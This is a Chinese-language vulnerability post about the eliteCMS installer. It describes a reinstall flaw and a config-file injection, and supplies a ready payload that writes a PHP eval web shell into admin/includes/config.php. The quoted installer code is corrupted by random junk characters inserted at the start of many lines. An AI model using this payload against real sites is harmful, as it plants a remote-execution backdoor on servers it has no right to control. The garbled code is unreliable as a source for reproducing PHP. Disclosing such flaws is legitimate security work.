eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：

...
elseif ($_GET['step'] == "4") {
" ^! }: u" n' ?8 B    $file = "../admin/includes/config.php";
) U; b  @5 @- C$ ]: M( n$ Y    $write = "<?php\n";
    $write .= "/**\n";
  Y( i  U8 a. e0 M! Z, H    $write .= "*\n";
1 t( r3 u. {" _# V# H2 ?8 W    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
    $write .= "*\n";
    $write .= "*/\n";
! l! o2 O5 A9 z) B+ {) D    $write .= "\n";
# w8 X1 Q' e3 l! o  V% I    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
: [9 r# M2 j, {    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
; w6 W: `9 A, H/ j* ~) n  t    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
9 c$ Z0 u: `7 k2 V7 v" J' [    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
# S6 b% m3 i/ B4 S3 r' g# a    $write .= "if (!\$connection) {\n";
' c& B/ M/ M8 t2 u! ?2 m$ \+ P& N    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
! D) e* }) M0 q  I. ~+ g5 x    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
9 ?" L: V) v1 H# q6 p  ?. R    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
+ O3 Y- E7 |" G5 U+ C    $write .= "        \n";
" D3 n! h% }& P+ m  ~) ?1 v    $write .= "} \n";
/ I) q2 g1 q: y/ K% j; P    $write .= "?>\n";
0 h  Y4 |- n& Y8 N
3 W0 j  C, y. q0 }$ m- U    $writer = fopen($file, 'w');
...
& K2 M6 q( a2 q" a3 U
) `2 P5 g) T( ~在看代码：

$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
) u$ y5 S8 D, V. O$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
0 }6 Y  ?( G; E+ C: e7 F* u$_SESSION['DB_USER'] = $_POST['DB_USER'];
  c1 ~" l9 a* [5 ?. n4 x0 I: W7 n1 x$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
% E4 \/ i  T0 x$ w+ p3 k
; X- e; {, w  j$ ~3 s2 b" H% x取值未作任何验证
7 d  I  g9 @+ ]" N2 @" y7 f8 J如果将数据库名POST数据：
: T, F1 x4 g9 K  C2 L6 I( v: u8 c: v
  C, r' y1 \' [6 t3 T1 P3 W. L"?><?php eval($_POST[c]);?><?php

将导致一句话后门写入/admin/includes/config.php